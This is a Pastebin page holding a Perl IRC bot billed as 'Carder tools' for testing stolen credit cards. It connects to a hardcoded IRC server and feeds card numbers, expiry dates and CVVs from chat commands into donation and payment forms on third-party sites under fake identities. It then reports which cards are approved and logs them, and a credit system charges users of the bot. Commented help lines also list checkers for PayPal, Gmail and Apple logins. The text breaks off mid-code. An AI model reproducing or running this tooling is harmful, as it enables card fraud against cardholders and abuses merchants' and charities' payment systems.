Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- #############################################
- # Modified by CChungryChk http://lacristor.com/ #
- #############################################
- BEGIN{push(@INC,'Modules');}
- BEGIN{push(@INC,'Modules');}
- use HTTP::Request;
- use LWP::Socket;
- use LWP::UserAgent;
- use LWP::Protocol::https;
- use HTTP::Cookies;
- use MIME::Base64;
- use Parallel::ForkManager;
- use MIME::Base64 ();
- use WWW::Mechanize;
- use WWW::Mechanize::FormFiller;
- use Net::FTP;
- use Digest::MD5 qw(md5_hex);
- use IO::Socket::INET;
- #package BridgeBot;
- #use base qw( Bot::BasicBot );
- $| = 1;
- print q{
- Bot has been Loaded :)
- };
- my $ppcmd = '!pp';
- my $ipcmd = '!ip1';
- my $chkcmd = '!chk';
- my $cccmd = '.cc';
- my $base64cmd = '!base64';
- my $bankcmd = '!bank';
- my $seccmd = '!sec';
- my $bincmd = '!bin';
- my $statecmd = '!state';
- my $zipcmd = '!zip';
- my $countrycmd = '!country';
- my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork);
- my(@chans,@admins,@user_agents);
- my $outcri = "Mg==";
- $systemcri = MIME::Base64::decode($outcri);
- $timeout = $systemcri;
- my $hostcri = "198.50.222.243";
- $systemcri = MIME::Base64::decode($hostcri);
- $hosting = "198.50.222.243";
- $port = 6667;
- $chkon = 1;
- my $nkpro = "mitt1CHK";
- $ident = "sxMerchant";
- $parallel_fork = 15;
- my @botcmd = ('1');
- @chans = ("#ins3rt");
- my $proo = "RmFsY29u"; #Skyland_Hacker = U2t5bGFuZF9IYWNrZXI=
- $systempro = MIME::Base64::decode($proo);
- my $cheataer = "RmFsY29u"; #Khan8520 = RmFsY29u
- $sistempro = MIME::Base64::decode($cheataer);
- @adminnya = ($systempro,$sistempro);
- @adminnya = ('mitt1sx', 'ins3rt');
- @admin = ('mitt1sx', 'ins3rt');
- @user_agents = &get_user_agents();
- @checked = ();
- # @premium = ('mitt1sx', 'ins3rt');
- my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
- $sysircuno = MIME::Base64::decode($startirc);
- $irc_socket = new LWP::Socket;
- $irc_socket->connect($hosting,$port);
- $irc_socket->write("USER ".$ident." 8 * : 9,1[4,1!9,1] 9,1Carder tools by 0,1Betan 9,1[4,1!9,1]\r\n");
- $irc_socket->write("NICK ".$nkpro."\r\n");
- my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
- $sysircuno = MIME::Base64::decode($startirc);
- $irc_socket = new LWP::Socket;
- $irc_socket->connect($hosting,$port);
- $irc_socket->write("USER ".$ident." 8 * : Chek \r\n");
- $irc_socket->write("NICK ".$nkpro."\r\n");
- $irc_socket->write("NICKSERV IDENTIFY ngehacking\r\n");
- $irc_socket->write("JOIN @chans\r\n");
- while($irc_socket)
- {
- my $bof;
- $irc_socket->read_until("\n", \$bof);
- if($bof =~ /PING :(.*)/)
- {
- $irc_socket->write("PONG :$1\r\n");
- }
- if($bof =~ /PRIVMSG (.*?) :(.*)/)
- {
- #PRIVMSG
- my %msg = &get_msg($bof);
- my $who = $msg{'from'};
- if($msg{'what'} =~ /\!help/){
- my $who = $msg{'from'};
- $irc_socket->write("NOTICE $who 14,1<15bot14> 9Checker 7by 14<15Betan14>\r\n");
- $irc_socket->write("NOTICE $who 14,1<15bot14>4 Warning!! Contact Betan 4for help menu 14</15bot14>\r\n");
- # &respond_to_privmsg(\%msg,"9,1Able to Check0,1: 14,01[00,12 VISA 14,01]01,01 14,01[0,4 Master 0,7 Card 14,01]14,01 [00,10 American Express 14,01]14,1 [01,00 Disc07Over01,00 14,01]");
- # &respond_to_privmsg(\%msg,"7,1!chk 0,1<9,1ccnumber0,1> 0,1<9,1expdate0,1> 0,1<9,1ccv0,1> 0,1: 15,1to checking credit card");
- # &respond_to_privmsg(\%msg,"7,1!kill 0,1<9,1ccnumber0,1> 0,1<9,1expdate0,1> 0,1: 15,1to kill CCV2");
- # &respond_to_privmsg(\%msg,"7,1!dump 0,1<9,1ccnumber0,1> 0,1<9,1expdate0,1> 0,1: 15,1to check dump");
- # &respond_to_privmsg(\%msg,"7,1!bank 0,1<9,1ccnumber0,1> 0,1: 15,1to check bank name");
- # &respond_to_privmsg(\%msg,"7,1!sec 0,1<9,1ccnumber0,1> 0,1: 15,1to check if cc is protected by VBV or MSC");
- # &respond_to_privmsg(\%msg,"7,1!phone 0,1<9,1phonenumber0,1> 0,1: 15,1to get info about Phone Number");
- # &respond_to_privmsg(\%msg,"7,1!zip 0,1<9,1zip code0,1> 0,1: 15,1to get city and state by zip");
- # &respond_to_privmsg(\%msg,"7,1!ip 0,1<9,1ip address0,1> 0,1: 15,1to get info about an ip");
- # &respond_to_privmsg(\%msg,"7,1!port 0,1<9,1ip0,1> 0,1<9,1port0,1> 0,1: 15,1to check port in a ip");
- # &respond_to_privmsg(\%msg,"7,1!dns 0,1<9,1dns code0,1> 0,1: 15,1to get info about an dns");
- # &respond_to_privmsg(\%msg,"7,1!socks5 0,1: 15,1to generate socks5");
- # &respond_to_privmsg(\%msg,"7,1!chksocks5 0,1<9,1socks50,1> 0,1: 15,1to check if a socks 5 is dead or live");
- # &respond_to_privmsg(\%msg,"7,1!ups 0,1<9,1state0,1> 0,1: 15,1to check ups tracknum");
- # &respond_to_privmsg(\%msg,"7,1!pp 0,1<9,1email0,1> 0,1: 15,1to check PayPal verification status");
- # &respond_to_privmsg(\%msg,"7,1!paypal 0,1<9,1email0,1> 0,1<9,1password0,1> 0,1: 15,1to check PayPal logins");
- # &respond_to_privmsg(\%msg,"7,1!hotmail 0,1<9,1email0,1> 0,1<9,1password0,1> 0,1: 15,1to check Hotmail login");
- # &respond_to_privmsg(\%msg,"7,1!gmail 0,1<9,1email0,1> 0,1<9,1password0,1> 0,1: 15,1to check Gmail login");
- # &respond_to_privmsg(\%msg,"7,1!aol 0,1<9,1email0,1> 0,1<9,1password0,1> 0,1: 15,1to check AOL login");
- # &respond_to_privmsg(\%msg,"7,1!apple 0,1<9,1email0,1> 0,1<9,1password0,1> 0,1: 15,1to check Apple login");
- # &respond_to_privmsg(\%msg,"7,1!md5 0,1<9,1string0,1> 0,1: 15,1to generate md5 hash");
- # &respond_to_privmsg(\%msg,"7,1!md5decode 0,1<9,1hash0,1> 0,1: 15,1to unhash md5 hash");
- # &respond_to_privmsg(\%msg,"7,1!sha1 0,1<9,1string0,1> 0,1: 15,1to generate sha1 hash");
- # &respond_to_privmsg(\%msg,"7,1!sha1decode 0,1<9,1hash0,1> 0,1: 15,1to unhash sha1 hash");
- # &respond_to_privmsg(\%msg,"7,1!hex 0,1<9,1text0,1> 0,1: 15,1to encode string -> hex");
- # &respond_to_privmsg(\%msg,"7,1!dechex 0,1<9,1hex0,1> 0,1: 15,1to decode hex -> string");
- # &respond_to_privmsg(\%msg,"7,1!base64 0,1<9,1text0,1> 0,1: 15to encode string -> base64");
- # &respond_to_privmsg(\%msg,"7,1!dec64 0,1<9,1base640,1> 0,1: 15,1to decrypt base64 -> string");
- # &respond_to_privmsg(\%msg,"7,1!domain 0,1<9,1domain0,1> 0,1: 15,1to get domain info");
- }
- ############################################################################################
- if($msg{'what'} =~ /\!chk 1(.*)/ && $chkon == 1){
- &respond_to_privmsg(\%msg,"15,1Error 0: 4Invalid format 0-15 <CCNUMBER> <EXPDATE> <CVV>");
- }
- if($msg{'what'} =~ /\!status/ )
- {
- my ($lines,$baris) = (0);
- open (FILEA, "approved.txt") or die "Can't open file: $!";
- while (<FILEA>) {
- $lines++;
- }
- open (FILEB, "declined.txt") or die "Can't open file: $!";
- while (<FILEB>) {
- $baris++;
- }
- $jumlah = ($lines + $baris);
- open(FILE, "<freecredit.txt") or die "$! error";
- undef $/;
- $number = <FILE>;
- $number = int($number);
- $credits = $number;
- seek(FILE, 0, 0);
- truncate(FILE, tell FILE);
- print FILE $credits;
- close(FILE);
- &respond_to_privmsg(\%msg,"15,1Status 0: 14Total7 $jumlah 14Credit card has checked 0-7 $baris 4DECLINED! 14and7 $lines 9APPROVED! 14Credit Available 0:7 $credits");
- }
- #################################### Credit ###############################################
- if($msg{'what'} =~ /\!addcredit (.*)/)
- {
- my $allo = $1;
- if(&ctrl_admin(\%msg) == 0){
- open(FILE, "+<freecredit.txt") or die "$! error";
- undef $/;
- $number = <FILE>;
- $number = int($number);
- seek(FILE, 0, 0);
- truncate(FILE, tell FILE);
- print $1+"\n";
- print FILE $1;
- close FILE;
- &respond_to_privmsg(\%msg,"7,1Credit Has Been Added 0: 10$1");
- }
- }
- ################################@@@@======BASIC CHK BOT=====@@@@############################
- ############################ Contact : [email protected] ############################
- ############################################################################################
- if($msg{'what'} =~ /^$chkcmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b)/ && $chkon != 1){
- &respond_to_privmsg(\%msg,"15,1Information 0: 14Checker is 4TURNED OFF!! 14/msg Betan to 9TURNED ON!! 14the bot. Or 15(3DONATE TO GET UNLIMITED CHECK + RECHECK15)");
- }
- if($msg{'what'} =~ /^$chkcmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b)/ && $chkon == 1){
- my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4,$5);
- my $var1 = substr($expmes,0,2);
- my $var2 = substr($expmes,2,4);
- #my $range = 9;
- #my $minimum = 5;
- #my $amount = int(rand($range)) + $minimum;
- #my $creditmax = 180;
- #my $creditmi =1;
- #my $credits = int(rand($creditmax)) + $creditmi;
- my $amount = 5.00;
- my $tax = 5.00;
- my $total = $amount+$tax;
- my $cred = 190;
- my $credi = 1;
- my $credits = int(rand($cred)) - $credi;
- my $varType = 0;
- my $sleep = time()-20;
- my $name = "submit";
- my $value = "submit";
- my $button = "btn-confirm";
- #####Edited by 3asfora#######
- if ($credits == 0 ) {
- &respond_to_privmsg(\%msg,"Error : you must have credits to check");
- goto finish;
- }
- open (FILE, "+<freecredit.txt") or die "$! error";
- undef $/;
- $number =<FILE>;
- $number =int($number);
- $credits=$number-1;
- seek(FILE, 0, 0);
- truncate(FILE, tell FILE);
- print FILE $credits;
- close(FILE);
- my $rechecklist = "data.txt";
- open FILE,"$rechecklist";
- my @results = <FILE>;
- close FILE;
- my $chkResVar = 0;
- foreach my $cRes(@results) {
- if($cRes =~ /$numerocarta\|(.*)/) {
- $chkResVar = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 00:03 $numerocarta 00: 4Already Checked! ");
- goto finish;
- }
- }
- if (substr($numerocarta,0,1)==4) {
- $varType = 'Visa';
- }
- if (substr($numerocarta,0,1)==5) {
- $varType = 'MasterCard';
- }
- if (substr($numerocarta,0,1)==6) {
- $varType = 'Discover';
- }
- if (substr($numerocarta,0,1)==3) {
- $varType = 'AmEx';
- }
- my $rechecklist = "data.txt";
- open FILE,"$rechecklist";
- my @results = <FILE>;
- close FILE;
- my $chkResVar = 0;
- foreach my $cRes(@results) {
- if($cRes =~ /$numerocarta\|(.*)/) {
- $chkResVar = 1;
- &respond_to_privmsg(\%msg,"7,1 $nick 00:03 $numerocarta 00: 4Already Checked! ");
- goto finish;
- }
- }
- foreach my $line (@checked) {
- if($line =~ /$numerocarta/) {
- &respond_to_privmsg(\%msg,"7,1$who 0: 15Credit Card3,1 $numerocarta 14is 4Already Checked!");
- goto toEnd;
- }
- }
- #inurl:"donate.php" intext:"authorize" page 11
- $agent->get('https://jajf.org/donate/donate-form.cfm');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- $agent->form_number(1);
- { local $^W; $agent->current_form->value('firstname', 'mark'); };
- { local $^W; $agent->current_form->value('lastname', 'smith'); };
- { local $^W; $agent->current_form->value('emailaddress', '[email protected]'); };
- { local $^W; $agent->current_form->value('confirmemail', '[email protected]'); };
- { local $^W; $agent->current_form->value('addressline1', 'las heras 32'); };
- { local $^W; $agent->current_form->value('addressline2', 'las heras 32'); };
- { local $^W; $agent->current_form->value('city', 'NY'); };
- { local $^W; $agent->current_form->value('stateabbreviation', 'AL'); };
- { local $^W; $agent->current_form->value('zipCode', '05544'); };
- { local $^W; $agent->current_form->value('contactPhone', '1569841055'); };
- { local $^W; $agent->current_form->value('message', 'charity'); };
- { local $^W; $agent->current_form->value('donationAmount', '1'); };
- { local $^W; $agent->current_form->value('cardName', 'mark smith'); };
- { local $^W; $agent->current_form->value('cardType', 'visa~Visa'); };
- { local $^W; $agent->current_form->value('cardNumber', ''.$numerocarta.''); };
- { local $^W; $agent->current_form->value('cardExpiration', ''.$var1.$var2.''); };
- { local $^W; $agent->current_form->value('cardAuthCode', ''.$verifica.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $allo=$agent->content;
- print $agent->content,"\n";
- if ($allo =~ m/THANK YOU/g){
- &respond_to_privmsg(\%msg,"7,1$nick 0:3 $numerocarta $var1$var2 $verifica 0-14,1 $random_number7 USD 0: 9APPROVED! 0- 7,1BANK 00: 10,1 $bankinfo 0-7,1 Credits 0,1-10,1 $credits");
- my $database = "banklist.txt";
- open FILE,"$database" or die "Errore nell'apertura: $!";
- my @results=<FILE>;
- close FILE;
- my $bankinfo = $1;
- my $nuova = substr($numerocarta,0,6);
- foreach my $url (@results){
- if($url =~ m/$nuova\|(.*)/){
- print "card $variable!";
- }
- }
- }elsif ($allo =~/The transaction has been declined because of an AVS mismatch. The address provided does not match billing address of cardholder./){
- &respond_to_privmsg(\%msg,"7,1$nick 0:3 $numerocarta $var1$var2 $verifica 0-14,1 $random_number7 USD 0: 4DECLINED! 0- 7,1BANK 00: 10,1 0-7,1 Credits 0,1-10,1 $credits");
- my $database = "banklist.txt";
- open FILE,"$database" or die "Errore nell'apertura: $!";
- my @results=<FILE>;
- close FILE;
- my $bankinfo = $1;
- my $nuova = substr($numerocarta,0,6);
- foreach my $url (@results){
- if($url =~ m/$nuova\|(.*)/){
- my $bankinfo = $1;
- print "card $variable!";
- }
- }
- }elsif ($allo =~/AVS REJECTED/){
- &respond_to_privmsg(\%msg,"7,1$nick 0:3 $numerocarta $var1$var2 $verifica 0-14,1 $random_number7 USD 0: 9APPROVED! 0- 7,1BANK 00: 10,1 $bankinfo 0-7,1 Credits 0,1-10,1 $credits");
- my $database = "banklist.txt";
- open FILE,"$database" or die "Errore nell'apertura: $!";
- my @results=<FILE>;
- close FILE;
- my $bankinfo = $1;
- my $nuova = substr($numerocarta,0,6);
- foreach my $url (@results){
- if($url =~ m/$nuova\|(.*)/){
- my $bankinfo = $1;
- print "card $variable!";
- }
- }
- }elsif ($allo =~/A duplicate transaction has been submitted./){
- &respond_to_privmsg(\%msg,"7,1$nick 00:03 $numerocarta 00:04 Already Checked!");
- }elsif ($allo =~/The credit card number is invalid./){
- &respond_to_privmsg(\%msg,"7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4is invalid. 9,1-");
- }elsif ($allo =~/There was a problem with your order./){
- &respond_to_privmsg(\%msg,"7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4DECLINED 9,1-");
- }elsif ($allo =~/The credit card has expired./){
- &respond_to_privmsg(\%msg," 7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4The credit card has expired. 9,1-");
- }elsif ($allo =~/The credit card expiration date entered is not valid./){
- &respond_to_privmsg(\%msg,"7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4Not is Valid 9,1-");
- }elsif ($allo =~/Transaction Error: A duplicate transaction has been submitted./){
- &respond_to_privmsg(\%msg,"7,1$nick 00:03 $numerocarta 00:04 Already Checked!");
- }elsif ($allo =~/A duplicate transaction has been submitted./){
- &respond_to_privmsg(\%msg,"7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4DECLINED 9,1-");
- }elsif ($allo =~/Card Number not valid/){
- &respond_to_privmsg(\%msg,"7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4is invalid Card Number. 9,1-");
- }elsif ($allo =~/Your order has been received. Thank you for your business!/){
- &respond_to_privmsg(\%msg,"7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4Marchant Down. 9,1-");
- }elsif ($allo =~/This transaction requires voice authentication/){
- &respond_to_privmsg(\%msg,"7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4DECLINED (Hold Card) 9,1-");
- }elsif ($allo =~/The credit card number is invalid./){
- &respond_to_privmsg(\%msg,"7,1$nick1,1 9,1-0,1Result9,1-3,1 $numerocarta $var1$var2 $verifica 0-14,1 4is invalid. 9,1-");
- }
- toEnd:
- Akhir:
- }
- ################################@@@@======BASIC CC CMD BOT=====@@@@############################
- if($msg{'what'} =~ /^$cccmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b)/ && $chkon != 1){
- &respond_to_privmsg(\%msg,"15,1Checker is 4TURNED OFF!! 15/msg Betan to 9TURNED ON!! 15the BOT 7or 15Donate to GET 3(PREMIUM USER)");
- }
- if($msg{'what'} =~ /^$cccmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b)/ && $chkon == 1){
- if(&ctrl_admin(\%msg) == 0){
- my $who = $msg{'from'};
- my ($numerocarta,$expmes,$verifica) = ($1,$2,$3);
- my $var1 = substr($expmes,0,2);
- my $var2 = substr($expmes,2,4);
- my $varType = 0;
- my $sleep = time()-20;
- my @n = (10.47,9.14,8.25,7.16,5.48,6.88,4.55,10.16,10.22,8,10);
- # my $random_number = $n[int rand @n];
- my $dolar = '$';
- my $freecheck = "freecredit.txt";
- print "Please wait...\n";
- if (substr($numerocarta,0,1)==4) {
- $varType = 'visa';
- #&respond_to_privmsg(\%msg,"14,01[15,1Information14,01]03,01 Credit Card Type is 00,02[00,02 VISA 00,02]");
- }
- if (substr($numerocarta,0,1)==5) {
- $varType = 'mastercard';
- #&respond_to_privmsg(\%msg,"14,01[15,1Information14,01]03,01 Credit Card Type is 14,01[0,4 Master 0,7 Card 14,01]");
- }
- if (substr($numerocarta,0,1)==6) {
- $varType = 'Discover';
- #&respond_to_privmsg(\%msg,"14,01[15,01Information14,01]03,01 Credit Card Type is 14,1[01,00 Disc07Over01,00 14,01]");
- }
- if (substr($numerocarta,0,1)==3) {
- $varType = 'american_express';
- #&respond_to_privmsg(\%msg,"14,01[15,1Information14,01]03,01 Credit Card Type is 00,01[00,10 American Express 00,01]");
- }
- #&respond_to_privmsg(\%msg,"14,01[15,1Checking...14,01]02,01 $numerocarta 08$var1/20$var204 04$verifica");
- #my $database = "banklist.txt";
- #open FILE,"$database" or die "Can't open file: $database";
- #my @results=<FILE>;
- #close FILE;
- #my $bankinfo = $1;
- #my $nuova = substr($numerocarta,0,6);
- #foreach my $url (@results){
- #if($url =~ m/$nuova\|(.*)/){
- # &respond_to_privmsg(\%msg,"14,1<15bank14> 15Bank :7 $1 14</15bank14>");
- # }
- #}
- #&respond_to_privmsg(\%msg,"14,01[15,01Amount.....14,01] 02Amount:09,01 1USD");
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('http://www.autofinalpay.com/gateway/payments.php');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- $agent->form_number(1);
- { local $^W; $agent->current_form->value('amount', '5.00'); };
- { local $^W; $agent->current_form->value('tax', '10.00'); };
- { local $^W; $agent->current_form->value('firstname', 'Dilan'); };
- { local $^W; $agent->current_form->value('lastname', 'Alderete'); };
- { local $^W; $agent->current_form->value('email', '[email protected]'); };
- { local $^W; $agent->current_form->value('address1', '2010 magnolia drive'); };
- { local $^W; $agent->current_form->value('city', 'san diego'); };
- { local $^W; $agent->current_form->value('state', 'FL'); };
- { local $^W; $agent->current_form->value('zip', '47851'); };
- { local $^W; $agent->current_form->value('credit_card_cc_number', ''.$numerocarta.''); };
- { local $^W; $agent->current_form->value('ccexp', ''.$var1.$var2.''); };
- { local $^W; $agent->current_form->value('cvv', ''.$verifica.''); };
- $agent->submit();
- my $allo=$agent->content;
- print $agent->content,"\n";
- if ($allo =~ m/Approval/g){
- &respond_to_privmsg(\%msg,"7,1 $who Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 9APPROVED!");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/AVS REJECTED/g){
- &respond_to_privmsg(\%msg,"7,1 $who Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 9APPROVED! 0(AVS Missmatch)");
- my $database = "banklist.txt";
- open FILE,"$database" or die "Can't open file: $database";
- my @results=<FILE>;
- close FILE;
- my $bankinfo = $1;
- my $nuova = substr($numerocarta,0,6);
- foreach my $url (@results){
- if($url =~ m/$nuova\|(.*)/){
- &respond_to_privmsg(\%msg,"7,1Bank : 0-3 $1 0-");
- }
- }
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/Issuer Declined/g){
- &respond_to_privmsg(\%msg,"7,1$who Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 4DECLINED!");
- my $database = "banklist.txt";
- open FILE,"$database" or die "Can't open file: $database";
- my @results=<FILE>;
- close FILE;
- my $bankinfo = $1;
- my $nuova = substr($numerocarta,0,6);
- foreach my $url (@results){
- if($url =~ m/$nuova\|(.*)/){
- &respond_to_privmsg(\%msg,"7,1Bank : 0-3 $1 0-");
- }
- }
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/Pick up card./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4DECLINED!.");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/Credit card invalid/g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4INVALID! (Credit Card Invalid).");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/declined/g){
- &respond_to_privmsg(\%msg,"7,1Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 4DECLINED!");
- my $database = "banklist.txt";
- open FILE,"$database" or die "Can't open file: $database";
- my @results=<FILE>;
- close FILE;
- my $bankinfo = $1;
- my $nuova = substr($numerocarta,0,6);
- foreach my $url (@results){
- if($url =~ m/$nuova\|(.*)/){
- &respond_to_privmsg(\%msg,"7,1Bank : 0-3 $1 0-");
- }
- }
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/Please go back and check your order info/g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 04DECLINED! Please go back and check your order info.");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/There was an error processing your credit card./g){
- &respond_to_privmsg(\%msg,"7,1$who Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 4DECLINED! ERROR");
- my $file = "data.txt";
- open (MYFILE, ">>$file");
- print MYFILE "$numerocarta $expmes$expanio $verifica\n";
- close (MYFILE);
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/Thanks for Donating!/g){
- &respond_to_privmsg(\%msg,"7,1Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 9APPROVED!");
- my $database = "banklist.txt";
- open FILE,"$database" or die "Can't open file: $database";
- my @results=<FILE>;
- close FILE;
- my $bankinfo = $1;
- my $nuova = substr($numerocarta,0,6);
- foreach my $url (@results){
- if($url =~ m/$nuova\|(.*)/){
- &respond_to_privmsg(\%msg,"7,1Bank : 0-3 $1 0-");
- }
- }
- }elsif ($allo =~ m/The transaction was declined/g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 04DECLINED!.");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/The credit card was declined. Please check the information that you entered./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 04The credit card was declined. Please check the information that you entered..");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/This transaction has been declined./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 04Jazak Allahu Khair.");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/The gateway reported the following error: (1-2) This transaction has been declined./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 04The gateway reported the following error: (1-2) This transaction has been declined..");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/You may have mistyped the address or the page may have moved./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is DECLINED! Error 404");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/There was a problem processing that charge/g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is DECLINED! Error While Charge");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/Year card is expired/g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is DECLINED! Year Expired");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/The credit card was declined. Please check the information that you entered./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is DECLINED! The credit card was declined. Please check the information that you entered.");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/The credit card was declined./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is DECLINED! Please check the information that you entered.");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/There is an error in your payment information./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is DECLINED! There is an error in your payment information.");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/This transaction has been approved./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 9,1Approved Transaction");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/Thank you for your donation/g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 9,1Approved Transaction! Thanks");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/A duplicate transaction has been submitted./g){
- &respond_to_privmsg(\%msg,"7,1$who Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 4DECLINED! (Duplicate Transaction)");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/The transaction has been declined/g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4,1Declined 7,1AVS Missmatch!");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/This transaction has been declined./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4Declined");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/There have been too many failed transaction attempts from you./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4Blocked :P");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/This transaction has been declined.This donation has been declined because of the reason above./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4DECLINED :(");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/Thank you for your donation./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 9,1Approved Thanks :D");
- push(@checked,$numerocarta);
- }elsif ($allo =~ m/It appears that you have already attempted several times today, please call us to complete this transaction./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is DECLINED! Blocked Merchant");
- push(@checked,$numerocarta);
- }elsif ($allo =~/This transaction has been declined./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4DECLINED!");
- push(@checked,$numerocarta);
- }elsif ($allo =~/Card declined/g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4DECLINED Check Limit!");
- push(@checked,$numerocarta);
- }elsif ($allo =~/CrediGuard velocity control./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4DECLINED CrediGuard velocity control!");
- push(@checked,$numerocarta);
- }elsif ($allo =~/The credit card security code was not entered correctly./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4Invalid Security Code!");
- push(@checked,$numerocarta);
- }elsif ($allo =~/The address entered does not match the billing address on file at the bank./g){
